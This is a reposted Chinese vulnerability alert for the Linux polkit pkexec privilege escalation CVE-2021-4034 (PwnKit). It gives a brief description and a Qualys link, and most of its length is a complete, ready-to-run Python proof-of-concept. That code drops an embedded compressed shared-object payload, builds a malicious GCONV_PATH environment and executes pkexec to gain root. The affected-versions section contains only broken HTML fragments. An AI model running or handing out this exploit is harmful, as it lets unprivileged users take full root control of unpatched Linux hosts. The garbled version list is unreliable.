漏洞预警：Linux Polkit权限提升漏洞 CVE-2021-4034

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​漏洞预警：Linux Polkit权限提升漏洞 CVE-2021-4034

转载于： PeiQi文库 PeiQi文库2022-01-26 12:23

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一：漏洞描述

1. Qualys 研究团队在 polkit 的 pkexec 中发现了一个内存损坏漏洞，该 SUID 根程序默认安装在每个主要的 Linux 发行版上。这个易于利用的漏洞允许任何非特权用户通过在其默认配置中利用此漏洞来获得易受攻击主机上的完全 root 权限。

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二:  漏洞影响

1. <p>Polkit > 2009</p>
   
2. 
   
3. <p>
   
4. 
   
5. </p><p>
   
6. 
   
7. </p><p></p>

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三:  漏洞复现

1. <p>原文链接：</p>
   
2. 
   
3. <p>https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034</p>

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1. # https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py
   
2. #!/usr/bin/env python3
   
3. 
   
4. # poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
   
5. # hardcoded amd64 lib
   
6. from ctypes import *
   
7. from ctypes.util import find_library
   
8. import os
   
9. import zlib
   
10. import base64
    
11. import tempfile
    
12. 
    
13. payload = zlib.decompress(
    
14.     base64.b64decode(
    
15.         """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"""
    
16.     )
    
17. )
    
18. libc = CDLL(find_library("c"))
    
19. libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
    
20. libc.execve.restype = c_ssize_t
    
21. 
    
22. wd = tempfile.mkdtemp()
    
23. open(wd + "/pwn.so", "wb").write(payload)
    
24. os.mkdir(wd + "/gconv/")
    
25. open(wd + "/gconv/gconv-modules", "w").write(
    
26.     "module  UTF-8//    INTERNAL    ../pwn    2"
    
27. )
    
28. os.mkdir(wd + "/GCONV_PATH=.")
    
29. os.mknod(wd + "/GCONV_PATH=./gconv")
    
30. os.chmod(wd + "/GCONV_PATH=.", 0o777)
    
31. os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
    
32. os.chmod(wd + "/pwn.so", 0o777)
    
33. os.chdir(wd)
    
34. cmd = b"/usr/bin/pkexec"
    
35. argv = []
    
36. envp = [
    
37.     b"gconv",
    
38.     b"PATH=GCONV_PATH=.",
    
39.     b"LC_MESSAGES=en_US.UTF-8",
    
40.     b"XAUTHORITY=../gconv",
    
41.     b"",
    
42. ]
    
43. 
    
44. cargv = (c_char_p * (len(argv) + 1))(*argv, None)
    
45. cenv = (c_char_p * (len(envp) + 1))(*envp, None)
    
46. libc.execve(cmd, cargv, cenv)

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